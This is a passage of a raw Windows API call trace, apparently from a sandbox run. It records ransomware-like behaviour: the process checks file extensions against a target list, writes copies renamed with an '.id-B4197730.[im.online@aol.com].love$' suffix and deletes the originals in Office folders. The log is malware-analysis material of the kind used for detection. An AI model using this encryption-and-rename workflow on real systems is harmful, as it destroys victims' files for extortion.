0xffffffff [0224.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0224.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0224.556] lstrlenW (lpString=".doc") returned 4 [0224.557] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.557] lstrlenW (lpString=".docx") returned 5 [0224.557] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0224.557] lstrlenW (lpString=".pdf") returned 4 [0224.557] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.557] lstrlenW (lpString=".xls") returned 4 [0224.557] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.557] lstrlenW (lpString=".xlsx") returned 5 [0224.557] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0224.557] lstrlenW (lpString=".ppt") returned 4 [0224.557] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0224.557] lstrlenW (lpString=".zip") returned 4 [0224.557] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.557] lstrlenW (lpString=".rar") returned 4 [0224.557] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.557] lstrlenW (lpString=".bz2") returned 4 [0224.557] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.557] lstrlenW (lpString=".7z") returned 3 [0224.557] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0224.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[im.online@aol.com].love$")) returned 0 [0225.644] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.644] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0225.890] GetLastError () returned 0x0 [0225.890] ReadFile (in: hFile=0x440, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0225.911] WriteFile (in: hFile=0x42c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0225.913] ReadFile (in: hFile=0x440, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0225.913] WriteFile (in: hFile=0x42c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0225.913] SetEndOfFile (hFile=0x42c) returned 1 [0225.913] CloseHandle (hObject=0x42c) returned 1 [0225.919] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0225.919] SetEndOfFile (hFile=0x440) returned 1 [0226.148] CloseHandle (hObject=0x440) returned 1 [0226.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0226.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0226.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.798] lstrlenW (lpString=".doc") returned 4 [0226.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.798] lstrlenW (lpString=".docx") returned 5 [0226.798] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.798] lstrlenW (lpString=".pdf") returned 4 [0226.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.798] lstrlenW (lpString=".xls") returned 4 [0226.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.798] lstrlenW (lpString=".xlsx") returned 5 [0226.798] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.798] lstrlenW (lpString=".ppt") returned 4 [0226.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.798] lstrlenW (lpString=".zip") returned 4 [0226.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.798] lstrlenW (lpString=".rar") returned 4 [0226.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.798] lstrlenW (lpString=".bz2") returned 4 [0226.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.799] lstrlenW (lpString=".7z") returned 3 [0226.799] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.799] lstrlenW (lpString=".dbf") returned 4 [0226.799] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.799] lstrlenW (lpString=".1cd") returned 4 [0226.799] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.799] lstrlenW (lpString=".jpg") returned 4 [0226.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.799] lstrlenW (lpString=".doc") returned 4 [0226.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.799] lstrlenW (lpString=".docx") returned 5 [0226.799] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.799] lstrlenW (lpString=".pdf") returned 4 [0226.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.799] lstrlenW (lpString=".xls") returned 4 [0226.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.799] lstrlenW (lpString=".xlsx") returned 5 [0226.799] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.799] lstrlenW (lpString=".ppt") returned 4 [0226.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.800] lstrlenW (lpString=".zip") returned 4 [0226.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.800] lstrlenW (lpString=".rar") returned 4 [0226.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.800] lstrlenW (lpString=".bz2") returned 4 [0226.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.800] lstrlenW (lpString=".7z") returned 3 [0226.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.800] lstrlenW (lpString=".dbf") returned 4 [0226.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.800] lstrlenW (lpString=".1cd") returned 4 [0226.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0226.800] lstrlenW (lpString=".jpg") returned 4 [0226.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.800] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0226.800] lstrlenW (lpString="AN01184_.WMF") returned 12 [0226.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0226.802] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3746) returned 1 [0226.802] CloseHandle (hObject=0x388) returned 1 [0226.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0226.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0226.803] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.803] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0226.804] GetLastError () returned 0x0 [0226.804] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xea2, lpOverlapped=0x0) returned 1 [0226.807] WriteFile (in: hFile=0x3c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0226.809] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.809] WriteFile (in: hFile=0x3c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.809] SetEndOfFile (hFile=0x3c0) returned 1 [0226.809] CloseHandle (hObject=0x3c0) returned 1 [0226.811] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.811] SetEndOfFile (hFile=0x388) returned 1 [0226.816] CloseHandle (hObject=0x388) returned 1 [0226.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0226.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0226.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.817] lstrlenW (lpString=".doc") returned 4 [0226.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.818] lstrlenW (lpString=".docx") returned 5 [0226.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.818] lstrlenW (lpString=".pdf") returned 4 [0226.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.818] lstrlenW (lpString=".xls") returned 4 [0226.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.818] lstrlenW (lpString=".xlsx") returned 5 [0226.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.818] lstrlenW (lpString=".ppt") returned 4 [0226.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.818] lstrlenW (lpString=".zip") returned 4 [0226.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.818] lstrlenW (lpString=".rar") returned 4 [0226.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.818] lstrlenW (lpString=".bz2") returned 4 [0226.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.818] lstrlenW (lpString=".7z") returned 3 [0226.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.818] lstrlenW (lpString=".dbf") returned 4 [0226.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.818] lstrlenW (lpString=".1cd") returned 4 [0226.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.819] lstrlenW (lpString=".jpg") returned 4 [0226.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.819] lstrlenW (lpString=".doc") returned 4 [0226.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.819] lstrlenW (lpString=".docx") returned 5 [0226.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.819] lstrlenW (lpString=".pdf") returned 4 [0226.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.819] lstrlenW (lpString=".xls") returned 4 [0226.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.819] lstrlenW (lpString=".xlsx") returned 5 [0226.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.819] lstrlenW (lpString=".ppt") returned 4 [0226.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.819] lstrlenW (lpString=".zip") returned 4 [0226.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.819] lstrlenW (lpString=".rar") returned 4 [0226.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.819] lstrlenW (lpString=".bz2") returned 4 [0226.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.819] lstrlenW (lpString=".7z") returned 3 [0226.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.820] lstrlenW (lpString=".dbf") returned 4 [0226.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.820] lstrlenW (lpString=".1cd") returned 4 [0226.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0226.820] lstrlenW (lpString=".jpg") returned 4 [0226.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.820] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0226.820] lstrlenW (lpString="AN01216_.WMF") returned 12 [0226.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0226.821] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5836) returned 1 [0226.821] CloseHandle (hObject=0x388) returned 1 [0226.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0226.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0226.822] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.822] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0226.823] GetLastError () returned 0x0 [0226.823] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x16cc, lpOverlapped=0x0) returned 1 [0226.825] WriteFile (in: hFile=0x3c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0226.826] ReadFile (in: hFile=0x388, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.827] WriteFile (in: hFile=0x3c0, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0226.827] SetEndOfFile (hFile=0x3c0) returned 1 [0226.827] CloseHandle (hObject=0x3c0) returned 1 [0226.830] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.830] SetEndOfFile (hFile=0x388) returned 1 [0227.187] CloseHandle (hObject=0x388) returned 1 [0227.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0227.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0227.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.189] lstrlenW (lpString=".doc") returned 4 [0227.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.189] lstrlenW (lpString=".docx") returned 5 [0227.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.189] lstrlenW (lpString=".pdf") returned 4 [0227.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.189] lstrlenW (lpString=".xls") returned 4 [0227.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.189] lstrlenW (lpString=".xlsx") returned 5 [0227.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.189] lstrlenW (lpString=".ppt") returned 4 [0227.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.189] lstrlenW (lpString=".zip") returned 4 [0227.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.189] lstrlenW (lpString=".rar") returned 4 [0227.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.189] lstrlenW (lpString=".bz2") returned 4 [0227.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.190] lstrlenW (lpString=".7z") returned 3 [0227.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.190] lstrlenW (lpString=".dbf") returned 4 [0227.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.190] lstrlenW (lpString=".1cd") returned 4 [0227.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.190] lstrlenW (lpString=".jpg") returned 4 [0227.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.190] lstrlenW (lpString=".doc") returned 4 [0227.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.190] lstrlenW (lpString=".docx") returned 5 [0227.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.190] lstrlenW (lpString=".pdf") returned 4 [0227.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.190] lstrlenW (lpString=".xls") returned 4 [0227.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.190] lstrlenW (lpString=".xlsx") returned 5 [0227.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.190] lstrlenW (lpString=".ppt") returned 4 [0227.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.191] lstrlenW (lpString=".zip") returned 4 [0227.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.191] lstrlenW (lpString=".rar") returned 4 [0227.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.191] lstrlenW (lpString=".bz2") returned 4 [0227.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.191] lstrlenW (lpString=".7z") returned 3 [0227.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0227.191] lstrlenW (lpString=".dbf") returned 4 [0227.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.191] lstrlenW (lpString="C:\\Program Files\\Microsoft 